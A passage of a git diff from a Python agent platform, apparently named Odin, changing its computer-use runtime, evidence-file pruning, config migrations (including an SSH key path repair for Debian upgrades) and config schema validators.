asyncio.CancelledError): raise return self.store.receipt(grant.session_id, inp["action_id"], digest) diff --git a/src/computer/manager.py b/src/computer/manager.py index d54935c74..eafd498e5 100644 --- a/src/computer/manager.py +++ b/src/computer/manager.py @@ -115,7 +115,7 @@ def _construct(self): from .runtime.profile import preflight try: - preflight() + preflight(runtime_sudo=settings.runtime_sudo) except RuntimeError as exc: raise ComputerProvisioningError("computer_dependency_unavailable") from exc else: diff --git a/src/computer/runtime/backend.py b/src/computer/runtime/backend.py index 878ee31c8..d978cfe78 100644 --- a/src/computer/runtime/backend.py +++ b/src/computer/runtime/backend.py @@ -121,7 +121,7 @@ async def start(self, session_id: str) -> dict: if self._closed or self._process is not None: raise RuntimeFailure("backend instances are single-use") validate_session(session_id) - preflight(self.app_profile) + preflight(self.app_profile, runtime_sudo=self.runtime_sudo) descriptor = self.startup_descriptor(session_id) assert self._descriptor is not None # startup_descriptor establishes this identity. owned = descriptor["token"] diff --git a/src/computer/runtime/hyprland_guardian.py b/src/computer/runtime/hyprland_guardian.py index 6f4c25c41..2566b7007 100644 --- a/src/computer/runtime/hyprland_guardian.py +++ b/src/computer/runtime/hyprland_guardian.py @@ -289,6 +289,16 @@ async def checked_permit(): command, pixel_guard=checked_permit if pixel_guard is not None else None, scope_deadline_ns=scope_deadline_ns) except Exception as exc: + details = getattr(exc, "details", None) + # Native plan rejection is a terminal no-input result, not an + # unknown dispatch exception. Admit fresh group observations only + # with the same strict ledger proof used after successful actions. + if (isinstance(exc, WaylandGuardianError) + and type(details) is dict + and details.get("event") == "action_rejected" + and details.get("input_was_sent") is False + and owned_release_v1({**details, "event": "action_done"}, closed=False)): + self._group_refresh_clean = True # Controller receipts conservatively collapse dispatch exceptions. # Preserve bounded native facts in the journal, never commands, # coordinates, socket tokens, application text or raw exceptions. diff --git a/src/computer/runtime/profile.py b/src/computer/runtime/profile.py index ba4fa19a2..863857b6d 100644 --- a/src/computer/runtime/profile.py +++ b/src/computer/runtime/profile.py @@ -213,11 +213,10 @@ def clean_environment() -> dict[str, str]: return {"PATH": "/usr/bin", "LANG": "C.UTF-8", "LC_ALL": "C.UTF-8"} -def preflight(app_profile: str | None = None) -> None: +def preflight(app_profile: str | None = None, *, runtime_sudo: bool = False) -> None: if app_profile is not None and app_profile not in APP_PROFILES: raise ValueError("unapproved application profile") required: tuple[str, ...] = ( - "sudo", "systemd-run", "systemctl", "bwrap", @@ -227,6 +226,8 @@ def preflight(app_profile: str | None = None) -> None: "xdotool", "openbox", ) + if runtime_sudo: + required = ("sudo", *required) if app_profile is not None: required = (*required, app_profile) missing = [name for name in required if not os.access(f"/usr/bin/{name}", os.X_OK)] diff --git a/src/computer/runtime/x11_attached.py b/src/computer/runtime/x11_attached.py index 5a2b53c99..d26ab1327 100644 --- a/src/computer/runtime/x11_attached.py +++ b/src/computer/runtime/x11_attached.py @@ -1650,6 +1650,18 @@ async def _input_worker_owned(self, revoked, request): receipt = json.loads(line) if child.returncode != 0 or type(receipt) is not dict: raise AttachedFailure("input_outcome_unknown") + # Direct workers also refuse before opening native input. Preserve + # that bounded proof without manufacturing a device identity. + details = receipt.get("diagnostics") + preflight_refusal = ( + receipt.get("status") == "unavailable" + and receipt.get("injected") is False + and type(receipt.get("released")) is bool + and type(details) is dict + and details.get("phase") == "preflight" + and type(details.get("steps_completed")) is int + and details["steps_completed"] == 0 + ) if receipt.get("released") is not True: self._release_failed = True if ( diff --git a/src/computer/store.py b/src/computer/store.py index cb694cff0..696a95fe9 100644 --- a/src/computer/store.py +++ b/src/computer/store.py @@ -1378,6 +1378,19 @@ def _hyprland_recovery_record(self, session_id: str) -> dict: self._validate_hyprland_owner(result["native_owner"]) if "recovery_owner" in result: self._validate_hyprland_owner(result["recovery_owner"]) + if "qualified_absence_history" in result: + history = result["qualified_absence_history"] + if type(history) is not dict or history.get("runtime_qualified") is not True: + raise ComputerError("invalid_recovery_pending") + historical_pending = self.get_recovery_pending(session_id) + if historical_pending is None: + archive = result.get("resolved_recovery_pending") + if (type(archive) is dict and archive.get("status") == "locally_released" + and type(archive.get("historical_record")) is dict): + historical_pending = self._recovery_pending_row(archive["historical_record"]) + self._validated_hyprland_retirement( + history, historical_pending, + result.get("recovery_owner", result.get("native_owner"))) if "durable_reconnect" in result: reconnect = result["durable_reconnect"] if (type(reconnect) is not dict @@ -1926,6 +1939,8 @@ def recovery_status(self, session_id: str) -> dict | None: result.pop("recovery_command_id", None) result.pop("durable_reconnect", None) result.pop("resolved_recovery_pending", None) + result.pop("qualified_absence_history", None) + result.pop("emergency_release_history", None) if ( result.get("local_recovery_status") == "locally_released" and self._local_cleanup_verified( @@ -2007,6 +2022,47 @@ def resolve_closed_local_recovery(self, grant): raise return grant + def finish_emergency_ledger_release(self, grant: SessionGrant, pending: RecoveryPending): + """Resolve released input, not native continuity or consent. + + The controller supplies a successful trusted backend release receipt. + Archive the incident atomically with the paused state so reopen never + sees an unresolved pending row attached to a non-quarantined session. + The old live adapter stays fenced: close and new consent are required. + """ + with self.lock: + self.db.execute("BEGIN IMMEDIATE") + try: + if (self.get_session(grant.session_id) != grant + or grant.state != "quarantined" + or self.get_recovery_pending(grant.session_id) != pending + or pending.phase != "unknown_release"): + raise ComputerError("grant_revoked") + prior = self._hyprland_recovery_record(grant.session_id) + row = self.db.execute("SELECT * FROM recovery_pending WHERE session_id=?", + (grant.session_id,)).fetchone() + # Preserve all original outcome/retirement evidence as history, + # without leaving assessment discriminators that require a live + # pending fence. Release does not prove receiver delivery. + result = {key: prior[key] for key in ( + "native_owner", "recovery_owner", "task_hints", "task_lineage", + "continuation_cancelled") if key in prior} + result.update( + status="operator_ledger_released", complete=False, released=True, + receiver_release_verified=False, renewed_consent_required=True, + emergency_release_history={"recovery_record": prior, + "pending_record": dict(row)}) + self.db.execute("INSERT OR REPLACE INTO session_recovery VALUES (?,?)", + (grant.session_id, json.dumps(result, sort_keys=True))) + self.db.execute("DELETE FROM recovery_pending WHERE session_id=?", + (grant.session_id,)) + paused = self.set_state(grant.session_id, "paused") + self.db.execute("COMMIT") + return paused + except BaseException: + self.db.execute("ROLLBACK") + raise + def finish_recovery(self, grant: SessionGrant, result: dict, *, acknowledged=False): """CAS prevents delayed inspection from clearing another runtime generation.""" clean = result.get("status") == "absence_verified" and not acknowledged @@ -2026,6 +2082,19 @@ def finish_recovery(self, grant: SessionGrant, result: dict, *, acknowledged=Fal prior = self._hyprland_recovery_record(grant.session_id) pending = self.get_recovery_pending(grant.session_id) owner = prior.get("recovery_owner", prior.get("native_owner")) + if (clean or acknowledged) and prior.get("runtime_qualified") is True: + # Qualification belongs to the prior absence assessment, + # not the new resolution. Retain exact validated facts + # without incompatible top-level discriminators. + fields = ("status", "runtime_qualified", "retirement_evidence", + "retirement_basis", "original_outcome", "owner_digest", + "recovery_command_id", "recovery_generation", + "resources_retired", "unknown_release", "released", + "release_ack", "receiver_release_verified", "complete") + prior["qualified_absence_history"] = {key: prior[key] for key in fields} + prior["runtime_qualified"] = False + prior.pop("retirement_evidence", None) + prior.pop("retirement_basis", None) if acknowledged and pending is not None and owner is not None: candidate = {"external_cleanup_attestation": receipt} if self._external_cleanup_attested(candidate): @@ -2044,6 +2113,7 @@ def finish_recovery(self, grant: SessionGrant, result: dict, *, acknowledged=Fal "INSERT OR REPLACE INTO session_recovery VALUES (?,?)", (grant.session_id, json.dumps(prior, sort_keys=True))) closed = self.set_state(grant.session_id, "closed", revoke=True) + self._hyprland_recovery_record(grant.session_id) settle_closed_local_recovery = self._local_cleanup_verified( closed, prior ) @@ -2062,6 +2132,7 @@ def finish_recovery(self, grant: SessionGrant, result: dict, *, acknowledged=Fal self.db.execute( "INSERT OR REPLACE INTO session_recovery VALUES (?,?)", (grant.session_id, json.dumps(prior, sort_keys=True))) + self._hyprland_recovery_record(grant.session_id) current = self.get_session(grant.session_id) self.db.execute("COMMIT") return current @@ -2085,6 +2156,7 @@ def finish_recovery(self, grant: SessionGrant, result: dict, *, acknowledged=Fal "INSERT OR REPLACE INTO session_recovery VALUES (?,?)", (grant.session_id, json.dumps(receipt, sort_keys=True)), ) + self._hyprland_recovery_record(grant.session_id) if clean or acknowledged: # Attestation retains the original failed cleanup evidence. if clean or self.cleanup(grant.session_id) is None: @@ -2486,28 +2558,61 @@ def validate_name(name: str) -> str: raise ComputerError("invalid_export_name") return name + def _prune_orphan_evidence(self) -> None: + """Caller holds an IMMEDIATE transaction, excluding unpublished writers. + + Only private, single-link regular files in the UUID4 evidence namespace + are owned evidence. Never follow links or sweep arbitrary operator names. + """ + tracked = {row[0] for row in self.db.execute("SELECT evidence_id FROM evidence")} + for name in os.listdir(self.dir_fd): + if (name in tracked + or re.fullmatch(r"[0-9a-f]{12}4[0-9a-f]{3}[89ab][0-9a-f]{15}", name) is None): + continue + try: + info = os.stat(name, dir_fd=self.dir_fd, follow_symlinks=False) + if (stat.S_ISREG(info.st_mode) and info.st_nlink == 1 + and info.st_uid == os.geteuid() and info.st_mode & 0o777 == 0o600): + os.unlink(name, dir_fd=self.dir_fd) + except FileNotFoundError: + pass + def prune(self) -> None: with self.lock: - rows = self.db.execute( - "SELECT evidence_id FROM evidence WHERE expires_at<=?", (self.clock(),) - ).fetchall() - for row in rows: - try: - os.unlink(row[0], dir_fd=self.dir_fd) - except FileNotFoundError: - pass - self.db.execute("DELETE FROM evidence WHERE evidence_id=?", (row[0],)) + self.db.execute("BEGIN IMMEDIATE") + try: + rows = self.db.execute( + "SELECT evidence_id FROM evidence WHERE expires_at<=?", (self.clock(),) + ).fetchall() + for row in rows: + try: + os.unlink(row[0], dir_fd=self.dir_fd) + except FileNotFoundError: + pass + self.db.execute("DELETE FROM evidence WHERE evidence_id=?", (row[0],)) + self._prune_orphan_evidence() + self.db.execute("COMMIT") + except BaseException: + self.db.execute("ROLLBACK") + raise def purge_evidence(self) -> None: """Disable/shutdown revokes retained downloads and removes their bytes.""" with self.lock: - rows = self.db.execute("SELECT evidence_id FROM evidence").fetchall() - for row in rows: - try: - os.unlink(row[0], dir_fd=self.dir_fd) - except FileNotFoundError: - pass - self.db.execute("DELETE FROM evidence WHERE evidence_id=?", (row[0],)) + self.db.execute("BEGIN IMMEDIATE") + try: + rows = self.db.execute("SELECT evidence_id FROM evidence").fetchall() + for row in rows: + try: + os.unlink(row[0], dir_fd=self.dir_fd) + except FileNotFoundError: + pass + self.db.execute("DELETE FROM evidence WHERE evidence_id=?", (row[0],)) + self._prune_orphan_evidence() + self.db.execute("COMMIT") + except BaseException: + self.db.execute("ROLLBACK") + raise def put_evidence( self, session_id: str, content: bytes, *, kind="frame", name="frame.png" diff --git a/src/config/apply_registry.py b/src/config/apply_registry.py index 54ab8f338..6d39ec440 100644 --- a/src/config/apply_registry.py +++ b/src/config/apply_registry.py @@ -160,8 +160,8 @@ class SectionSpec: "the effective respond-to-bots policy still applies.", ), "llm_provider": SectionSpec( - "live_apply", - "Active language-model provider and failover ownership.", + "live_read", + "Canonical per-generation serving-model selection and failover ownership.", owner="llm", apply_handler="POST /api/llm/switch", ), @@ -276,13 +276,6 @@ class SectionSpec: "live_for_new_work", "Spawned-agent budgets, inheritance, and tree limits.", ), - "grafana_alerts": SectionSpec( - "restart", - "Grafana alert routing and remediation policy.", - owner="grafana_alerts", - restart_reason="The GrafanaAlertHandler is constructed from these values " - "at startup; saving does not rebuild it.", - ), "outbound_webhooks": SectionSpec( "restart", "Outbound event targets, delivery, and safety policy.", @@ -347,7 +340,6 @@ class SectionSpec: GROUP_DESCRIPTIONS: dict[str, str] = { "email.imap": "How Odin reads mail: server, credentials, and polling.", "email.smtp": "How Odin sends mail: server, credentials, and identity.", - "grafana_alerts.rules": "Per-alert routing and remediation rules.", "image.openai": "Native OpenAI image generation behaviour.", "mcp.servers": "Configured Model Context Protocol servers.", "observability.context_trace": "What each per-turn context trace records, " @@ -402,6 +394,16 @@ class SectionSpec: ) FIELDS: dict[str, FieldSpec] = { + "llm_provider.model": FieldSpec( + apply_mode="live_read", + description="Canonical serving model, resolved at each new generation.", + ), + "web.api_token": FieldSpec( + apply_mode="live_read", description="Live management credential policy." + ), + "web.api_tokens": FieldSpec( + apply_mode="live_read", description="Live scoped management credential policy." + ), "mcp.max_published_tools_per_server": FieldSpec( label="Published tools per server", apply_mode="live_read", @@ -873,18 +875,14 @@ class SectionSpec: "openai_codex.model": FieldSpec( apply_mode="live_apply", apply_handler="PUT /api/llm/codex/config", - description="Primary Codex model.", + description="Codex transport default and legacy startup selector. Canonical " + "llm_provider.model overrides this for main generations and inherited agents.", consumers=( Consumer( - "Chat and autonomous loops", + "Codex transport default", "live_apply", - "Requests use the live client's model, which only a Codex reload refreshes.", - ), - Consumer( - "Spawned agents inheriting the main model", - "live_read", - "Agent generations resolve the model from config at call time, " - "so agents adopt it before chat does.", + "Reload refreshes the client's default; explicit canonical request " + "selection still takes precedence.", ), ), ), @@ -913,18 +911,18 @@ class SectionSpec: "iteration reads it at call time.", ), "openai_codex.agent_model": FieldSpec( - apply_mode="live_read", - description="Model policy for spawned-agent generations; the next " - "iteration reads it at call time.", + apply_mode="dormant", + description="Legacy selector, adapted on startup only when agents.model is absent. " + "The canonical agents.model selector takes precedence.", ), "openai_compatible.reasoning_effort": FieldSpec( - apply_mode="live_apply", + apply_mode="live_read", apply_handler="PUT /api/openai-compatible/config", description="Neutral primary-chat reasoning level for the compatible provider.", consumers=( Consumer( "Compatible chat and autonomous loops", - "live_apply", + "live_read", "Each new generation resolves this neutral level through the configured " "endpoint dialect and selected model profile.", ), diff --git a/src/config/migrations.py b/src/config/migrations.py index 75ef84cac..b70baadc0 100644 --- a/src/config/migrations.py +++ b/src/config/migrations.py @@ -406,6 +406,11 @@ def _write_required(marker: Path, reason: str, purpose: str, config_id: str) -> try: _atomic_write_marker(marker, _completion_record(reason, config_id)) except OSError as exc: + if exc.errno in {13, 30}: + # Completion/repair is bookkeeping, not a new prerequisite for an + # existing readable config mounted without adjacent write access. + log.warning("Could not %s on read-only storage; retrying next boot", purpose) + return log.error("Could not %s at %s: %s", purpose, marker, exc) raise MigrationCompletionError( f"could not {purpose}; configuration was left unchanged" @@ -499,8 +504,11 @@ def apply_compatible_timeout_migration( if "request_timeout_seconds" not in current: changes.append((("openai_compatible", "request_timeout_seconds"), 3600)) if "stream_stall_timeout_seconds" not in current: + stall = current["timeout"] + if isinstance(legacy, int) and not 10 <= legacy <= 3600: + stall = min(3600, max(10, legacy)) changes.append(( - ("openai_compatible", "stream_stall_timeout_seconds"), current["timeout"] + ("openai_compatible", "stream_stall_timeout_seconds"), stall )) changes.append((("openai_compatible", "timeout"), DELETE_CONFIG_PATH)) _patch_config_paths(changes, path=target) @@ -661,14 +669,27 @@ def apply_legacy_ceiling_migration(data: dict, config_path: str | Path, original log.info("Upgrading round-1 legacy migration provenance at %s.", legacy_marker) if not _is_shipped_legacy_literal(original_raw): - _write_completion_pair(marker, shared_marker, "not_applicable", - "record vacuous ceiling-migration completion", config_id) + try: + _write_completion_pair(marker, shared_marker, "not_applicable", + "record vacuous ceiling-migration completion", config_id) + except MigrationCompletionError: + log.warning("No ceiling migration needed; completion storage is unavailable") return try: - from .persistence import patch_config_paths + from .persistence import _config_file_lock, _patch_config_paths + from .schema import _substitute_env_vars - patch_config_paths([(_CEILING_PATH, None)], path=Path(config_path).resolve()) + target = Path(config_path).resolve() + with _config_file_lock(target): + current_raw = target.read_text(encoding="utf-8") + if current_raw != original_raw: + current = yaml.safe_load(_substitute_env_vars(current_raw)) + data.clear() + data.update(current) + log.warning("Ceiling migration deferred: config changed since load") + return + _patch_config_paths([(_CEILING_PATH, None)], path=target) except Exception as exc: # noqa: BLE001 — boot retains safe runtime behavior _set_runtime_auto(data) log.warning( @@ -724,8 +745,8 @@ def reconcile(raw): target = Path(config_path).resolve() marker = image_defaults_marker_path(target) config_id = _config_identity(target) + updates: dict[str, str] = {} try: - marker.parent.mkdir(parents=True, exist_ok=True) with _config_file_lock(target): with open(target, encoding="utf-8", newline="") as stream: raw = stream.read() @@ -832,6 +853,22 @@ def digest(text): "version": 1, "migration": "image_model_defaults_v1", "config_id": config_id, "state": "prepared" if edits else "completed", "after_sha256": digest(rewritten), } + if edits and ( + not os.access(target.parent, os.W_OK) or os.path.ismount(target) + ): + reconcile(rewritten) + log.warning( + "Image defaults migration uses runtime defaults on read-only config storage" + ) + return + if not edits: + try: + _atomic_write_marker(marker, record) + except OSError: + log.warning("No image migration needed; completion storage is unavailable") + if raw != original_raw: + reconcile(raw) + return _atomic_write_marker(marker, record) if edits: _dump_atomic(document, target, mode, raw_text=rewritten) @@ -845,6 +882,15 @@ def digest(text): except MigrationCompletionError: raise except Exception as exc: + if isinstance(exc, OSError) and exc.errno in {13, 30}: + section = data.get("image", {}).get("openai", {}) + for leaf, value in updates.items(): + section[leaf] = value + log.warning( + "Image defaults migration cannot persist on read-only storage; " + "using runtime defaults" + ) + return raise MigrationCompletionError( "image-default migration could not commit safely; inspect config and record" ) from exc diff --git a/src/config/model_retirement.py b/src/config/model_retirement.py index 8fa9720b1..541949b32 100644 --- a/src/config/model_retirement.py +++ b/src/config/model_retirement.py @@ -51,6 +51,44 @@ def migrate(section: object, key: str, path: str, successor: str) -> None: provider = data["llm_provider"] = deepcopy(provider) migrate(provider, "model", "llm_provider.model", RETIRED_MODEL_SUCCESSOR) image = data.get("image") + agents = data.get("agents") + if isinstance(agents, dict): + agents = data["agents"] = deepcopy(agents) + + def successor_ref(value): + raw = str(value).strip() + bare = raw.removeprefix("codex:") + if bare in RETIRED_MODELS: + replacement = RETIRED_MODEL_SUCCESSOR + log.warning("agents uses retired model %s; using %s on load", raw, replacement) + return replacement + return value + + if agents.get("model"): + agents["model"] = successor_ref(agents["model"]) + entries = agents.get("auto_model_allowlist") + if isinstance(entries, list): + migrated = [] + seen = set() + for entry in entries: + if isinstance(entry, dict): + entry["model"] = successor_ref(entry.get("model", "")) + identity = entry["model"] + else: + entry = successor_ref(entry) + identity = entry + if identity not in seen: + migrated.append(entry) + seen.add(identity) + agents["auto_model_allowlist"] = migrated + hints = agents.get("model_selection_hints") + if isinstance(hints, dict): + # An explicit successor hint wins over historical retired aliases. + for key in list(hints): + replacement = successor_ref(key) + if replacement != key: + hints.setdefault(replacement, hints[key]) + del hints[key] if isinstance(image, dict): image = data["image"] = deepcopy(image) # The image path already has an established successor, distinct from diff --git a/src/config/package_migrations.py b/src/config/package_migrations.py new file mode 100644 index 000000000..63d1caf85 --- /dev/null +++ b/src/config/package_migrations.py @@ -0,0 +1,125 @@ +"""Narrow Debian upgrade repairs, preserving operator-owned identities/config.""" +from __future__ import annotations + +import argparse +import os +from collections.abc import Mapping +from pathlib import Path + +from .initialization import ( + InitializationMode, + InitializationRecoveryRequiredError, + InitializationState, +) +from .persistence import ConfigPersistError, _config_file_lock, _load_document, _patch_config_paths +from .startup_context import provision_initialization_parent, resolve_startup_context + + +def migrate_compose_initialization(legacy_config: Path, target_config: Path) -> bool: + """Preserve setup mode and listener consent when Compose relocates config. + + Retain the old default record for rollback; explicitly pinned records are + rebound in place under their secured lock. Decode through the real store, + under both store locks; never infer consent from credentials or ignore a + corrupt/foreign record. An explicitly selected state path remains selected. + """ + explicit_state = os.environ.get("ODIN_INITIALIZATION_STATE") + old = resolve_startup_context(legacy_config, initialization_state=explicit_state) + new = resolve_startup_context(target_config, initialization_state=explicit_state) + if old.config_path == new.config_path or not os.path.lexists(old.initialization_state_path): + return False + if old.initialization_state_path == new.initialization_state_path: + # Qualify a pinned record against the new binding first for idempotent + # retries, then the old binding, under ONE secured store lock. + store = new.onboarding_store() + with store._locked(): + state = store._read_locked() + if state is not None and state.mode is not InitializationMode.RECOVERY: + return False + store.binding = old.onboarding_store().binding + state = store._read_locked() + if state is None or state.mode is InitializationMode.RECOVERY: + raise InitializationRecoveryRequiredError( + "explicit Compose initialization needs recovery" + ) + store.binding = new.onboarding_store().binding + store._write_locked(InitializationState( + mode=state.mode, + binding=store.binding, + loopback_restricted=state.loopback_restricted, + explicit_widening=state.explicit_widening, + )) + return True + old_store = old.onboarding_store() + with old_store._locked(): + state = old_store._read_locked() + if state is None or state.mode is InitializationMode.RECOVERY: + raise InitializationRecoveryRequiredError( + "legacy Compose initialization needs recovery" + ) + provision_initialization_parent(new.initialization_state_path) + new_store = new.onboarding_store() + with new_store._locked(): + existing = new_store._read_locked() + if existing is not None: + if existing.mode is InitializationMode.RECOVERY: + raise InitializationRecoveryRequiredError( + "relocated Compose initialization needs recovery" + ) + return False + new_store._write_locked(InitializationState( + mode=state.mode, + binding=new_store.binding, + loopback_restricted=state.loopback_restricted, + explicit_widening=state.explicit_widening, + )) + return True + + +def migrate_packaged_ssh_key( + config_path: Path, packaged_key: Path, legacy_key: Path = Path("/app/.ssh/id_ed25519") +) -> bool: + """Replace only an unusable shipped default with the provisioned identity. + + Missing fields use the same old schema default. Existing files (including + dangling symlinks) at the legacy path are operator property, not permission + to switch identities. Custom values and placeholders are never rewritten. + The normal persistence lock and writer preserve comments, mode and symlinks. + """ + if not packaged_key.is_file() or os.path.lexists(legacy_key): + return False + target = config_path.resolve() + with _config_file_lock(target): + document, _mode = _load_document(target) + if not isinstance(document, Mapping): + return False + tools = document.get("tools", {}) + if not isinstance(tools, Mapping): + return False + if tools.get("ssh_key_path", str(legacy_key)) != str(legacy_key): + return False + try: + _patch_config_paths([(("tools", "ssh_key_path"), str(packaged_key))], path=target) + except ConfigPersistError: + # Shared YAML anchors are valid existing configurations. A repair + # must not make their upgrade fail or rewrite unrelated aliases. + print("Odin: SSH path repair requires a manual edit; configuration was preserved.") + return False + return True + + +def main() -> None: + parser = argparse.ArgumentParser(description="Repair the obsolete Debian SSH key default") + parser.add_argument("config", type=Path, help="active Debian config or legacy Compose config") + parser.add_argument("key", type=Path, help="packaged SSH key or relocated Compose config") + parser.add_argument("--compose-initialization", action="store_true") + args = parser.parse_args() + if args.compose_initialization: + migrate_compose_initialization(args.config, args.key) + return + if migrate_packaged_ssh_key(args.config, args.key): + print("Odin: migrated the unused shipped SSH key path to the packaged identity.") + + +if __name__ == "__main__": + main() diff --git a/src/config/persistence.py b/src/config/persistence.py index 717ba965d..f70d98195 100644 --- a/src/config/persistence.py +++ b/src/config/persistence.py @@ -114,8 +114,10 @@ def _field_lookup(model_cls: Any) -> dict[str, tuple[str, Any, tuple[str, ...]]] ) spellings = [name] for candidate in (field.validation_alias, field.alias): - if isinstance(candidate, str) and candidate not in spellings: - spellings.append(candidate) + choices = getattr(candidate, "choices", (candidate,)) + for spelling in choices: + if isinstance(spelling, str) and spelling not in spellings: + spellings.append(spelling) others = tuple(s for s in spellings if s != name) for spelling in spellings: out[spelling] = (name, nested, others) @@ -154,6 +156,9 @@ def walk(new: Mapping[str, Any], known: Any, model: Any, prefix: tuple[str, ...] field = lookup.get(str(key)) canonical, nested, aliases = field or (str(key), None, ()) path = (*prefix, canonical) + if value == {"$delete": True} and model is None: + out.append((path, DELETE_CONFIG_PATH)) + continue if not isinstance(known, Mapping) or canonical not in known: # Validation dropped this path (unknown/removed field) — the # runtime ignores it, so disk must not carry it either. @@ -167,23 +172,88 @@ def walk(new: Mapping[str, Any], known: Any, model: Any, prefix: tuple[str, ...] # A nested BaseModel has schema-owned child fields, so preserve # the ordinary leaf-only walk through those children. walk(value, known_value, nested, path) - elif isinstance(value, Mapping) and isinstance(known_value, Mapping) and field is None: - # Schema-less callers retain the historical recursive helper - # behavior. Config persistence always supplies a model class. - walk(value, known_value, None, path) + elif isinstance(value, Mapping) and isinstance(known_value, Mapping): + # Dynamic mappings are partial patches too. Normalize submitted + # keys using the field validator, never copy resolved siblings. + canonical_value = dict(value) + if field is not None: + deletions = { + key: item for key, item in value.items() if item == {"$delete": True} + } + entries = {key: item for key, item in value.items() if key not in deletions} + # Partial structured entries (model profiles, presets) have + # required siblings. Validate their submitted KEY against + # the already validated merged entry, not an incomplete row. + normalized_entries = { + key: known_value.get(key, item) for key, item in entries.items() + } + canonical_value = model.model_validate( + {canonical: normalized_entries} + ).model_dump()[canonical] + # Mapping values can themselves be schema-owned models. + # Walk their submitted aliases through that schema, not a + # raw shape filter which drops normalized required fields. + from typing import get_args + + from pydantic import BaseModel + + args = get_args(model.model_fields[canonical].annotation) + entry_model = args[-1] if args else None + if isinstance(entry_model, type) and issubclass(entry_model, BaseModel): + for key, item in entries.items(): + if key in canonical_value and isinstance(item, Mapping): + walk(item, canonical_value[key], entry_model, (*path, key)) + elif key in canonical_value: + out.append(((*path, key), canonical_value[key])) + for key in deletions: + out.append(((*path, key), DELETE_CONFIG_PATH)) + continue + for key, item in entries.items(): + if isinstance(item, Mapping) and key in canonical_value: + def submitted_shape(shape, normalized): + if not isinstance(shape, Mapping): + return normalized + return { + name: submitted_shape(child, normalized[name]) + for name, child in shape.items() if name in normalized + } + canonical_value[key] = submitted_shape(item, canonical_value[key]) + canonical_value.update(deletions) + walk(canonical_value, known_value, None, path) elif aliases: out.append((path, known_value, aliases)) else: - # A schema-owned Mapping (for example context-budget overrides) - # is ONE normalized leaf. Its validator may canonicalize keys, - # so walking raw submitted keys against the validated mapping - # would drop aliases that changed spelling during validation. out.append((path, known_value)) walk(updates, validated, model_cls, ()) return out +def remove_submitted_mapping_entries( + current: dict, updates: Mapping[str, Any], model_cls: Any +) -> None: + """Apply explicit dynamic-entry tombstones before ordinary deep merge. + + `{key: {"$delete": true}}` deletes a mapping entry, never a schema field + or an ordinary JSON null. The submitted document remains available to the + leaf writer; validation never sees control objects. + """ + lookup = _field_lookup(model_cls) + for key, value in updates.items(): + if not isinstance(value, Mapping) or key not in lookup: + continue + canonical, nested, _aliases = lookup[key] + existing = current.get(canonical) + if not isinstance(existing, dict): + continue + if nested is not None: + remove_submitted_mapping_entries(existing, value, nested) + else: + for entry, item in value.items(): + if item == {"$delete": True}: + existing.pop(entry, None) + + def _placeholder_still_accurate(existing: Any, new_value: Any) -> bool: """True when *existing* is a ``${VAR}`` scalar that already resolves to *new_value* — i.e. writing the literal would leak a resolved secret while diff --git a/src/config/schema.py b/src/config/schema.py index fb22a0965..9b6c17c1d 100644 --- a/src/config/schema.py +++ b/src/config/schema.py @@ -7,7 +7,16 @@ from typing import Literal, get_args import yaml -from pydantic import AliasChoices, BaseModel, ConfigDict, Field, field_validator, model_validator +from pydantic import ( + AliasChoices, + BaseModel, + ConfigDict, + Field, + TypeAdapter, + ValidationInfo, + field_validator, + model_validator, +) from ..reasoning import compatible_reasoning_dialect from .model_defaults import ( @@ -42,13 +51,28 @@ class SessionsConfig(BaseModel): adaptive_compaction: bool = True # Session archives are retained indefinitely by default; pruned oldest-first # only past these caps (restore-on-demand depends on archives surviving). - archive_max_bytes: int = 2 * 1024**3 - archive_max_files: int = 10_000 + archive_max_bytes: int | None = 2 * 1024**3 + archive_max_files: int | None = 10_000 # Max estimated tokens of session history sent per LLM request; hot # channels can run larger windows via per-channel overrides. context_token_budget: int = 64_000 context_budget_overrides: dict[str, int] = {} + @field_validator("archive_max_bytes", "archive_max_files") + @classmethod + def _archive_caps(cls, value: int | None, info: ValidationInfo) -> int | None: + # Zero is the existing explicit retain-nothing policy. Negative means + # unset only on legacy startup, never on a new save. + if value is not None and value < 0: + if info.context and info.context.get("startup"): + from ..odin_log import get_logger + get_logger("config").warning( + "sessions.%s is negative; treating as unset", info.field_name + ) + return None + raise ValueError(f"{info.field_name} must be nonnegative") + return value + class ToolHost(BaseModel): """One managed execution target. @@ -412,6 +436,23 @@ class ToolsConfig(BaseModel): allow_host_tofu: bool = False command_timeout_seconds: int = 300 tool_timeouts: dict[str, int] = Field(default_factory=dict) + + @field_validator("tool_timeouts") + @classmethod + def _positive_tool_timeouts( + cls, values: dict[str, int], info: ValidationInfo + ) -> dict[str, int]: + invalid = [key for key, value in values.items() if value <= 0] + if invalid: + if info.context and info.context.get("startup"): + from ..odin_log import get_logger + get_logger("config").warning( + "Ignoring nonpositive tool timeouts for %s; using tool defaults", + ", ".join(invalid), + ) + return {key: value for key, value in values.items() if key not in invalid} + raise ValueError("tool_timeouts values must be positive integers") + return values skill_allowed_urls: list[str] = Field(default_factory=list) # Operator-disabled built-in tools (config-gated visibility): a disabled # tool is absent from the model catalog on every surface and rejected at @@ -894,30 +935,6 @@ def _validate_context_budget_overrides(cls, v: dict[str, int]) -> dict[str, int] canonical[key] = value return canonical - @model_validator(mode="after") - def _validate_effort_model_pairs(self): - # Load boundary (1 of 4): a persisted incompatible model/effort pair - # fails loudly at startup, exactly like any other invalid config - # value — never boot into deterministic per-request 400s. No clamp. - err = effort_incompatibility_error(self.model, self.reasoning_effort) - if err: - raise ValueError(f"openai_codex: {err}") - # The agent axes resolve to a concrete pair here only when neither - # axis is "auto" (per-spawn selection defers to the spawn-time and - # request-construction boundaries). None inherits the main setting. - if AGENT_SETTING_AUTO not in (self.agent_model, self.agent_reasoning_effort): - eff_model = self.agent_model if self.agent_model else self.model - eff_effort = ( - self.agent_reasoning_effort - if self.agent_reasoning_effort - else self.reasoning_effort - ) - err = effort_incompatibility_error(eff_model, eff_effort) - if err: - raise ValueError(f"openai_codex agent settings: {err}") - return self - - class OllamaConfig(BaseModel): model_config = ConfigDict(protected_namespaces=()) @@ -1190,6 +1207,15 @@ def _legacy_stream_timeouts(cls, value): value = dict(value) legacy = value.pop("timeout") # Explicit new fields win independently; invalid new values still fail. + # Old Kimi/compatible files accepted every integer timeout. Preserve + # their startup compatibility without relaxing explicit new fields. + legacy = TypeAdapter(int).validate_python(legacy) + if not 10 <= legacy <= 3600: + from ..odin_log import get_logger + get_logger("config").warning( + "Legacy compatible timeout %s is outside new bounds; using bounded timeout", legacy + ) + legacy = min(3600, max(10, legacy)) value.setdefault("stream_stall_timeout_seconds", 